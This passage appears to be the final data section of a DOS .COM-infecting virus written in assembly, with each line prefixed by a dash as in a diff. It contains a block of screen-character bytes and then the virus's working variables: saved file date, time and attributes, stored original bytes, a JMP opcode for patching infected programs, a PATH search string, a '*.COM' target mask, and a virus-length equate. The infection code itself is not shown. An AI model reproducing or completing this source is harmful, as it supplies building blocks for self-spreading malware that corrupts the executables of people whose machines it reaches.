- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,'█',6,'█',6,'█',6,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',6,' ',6,' ',6,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
- DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
- DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
- DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
- DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
- DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
- DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
- DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
- DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
- DB 6,' ',6
-
- olddta_ DW 0
- olddts_ DW 0
- oldtim_ DW 0
- oldate_ DW 0
- oldatt_ DW 0
- first3_ EQU $
- INT 20H
- NOP
- jmpop_ DB 0E9H
- jmpdsp_ DW 0
- pathad_ DW 0
- namptr_ DW 0
- envstr_ DB 'PATH='
- fspec_ DB '*.COM',0
- wrkspc_ DB 40h dup (0)
- dta_ DB 16h dup (0)
- dtatim_ DW 0,0
- dtalen_ DW 0,0
- dtanam_ DB 0Dh dup (0)
- lst_byt EQU $
-
- virlen = lst_byt - v_start
- codelen = vir_dat - v_start
- c_len_x = vir_dat - v_start - 2
- c_len_y = vir_dat - v_start + 100H
- old_dta = olddta_ - vir_dat
- old_dts = olddts_ - vir_dat
- old_tim = oldtim_ - vir_dat
- ol_date = oldate_ - vir_dat
- old_att = oldatt_ - vir_dat
- first_3 = first3_ - vir_dat
- jmp_op = jmpop_ - vir_dat
- jmp_dsp = jmpdsp_ - vir_dat
- f_spec = fspec_ - vir_dat
- path_ad = pathad_ - vir_dat
- nam_ptr = namptr_ - vir_dat
- env_str = envstr_ - vir_dat
- wrk_spc = wrkspc_ - vir_dat
- dta = dta_ - vir_dat
- dta_tim = dtatim_ - vir_dat
- dta_len = dtalen_ - vir_dat
- dta_nam = dtanam_ - vir_dat
-
- CODE ENDS
- END VCODE
-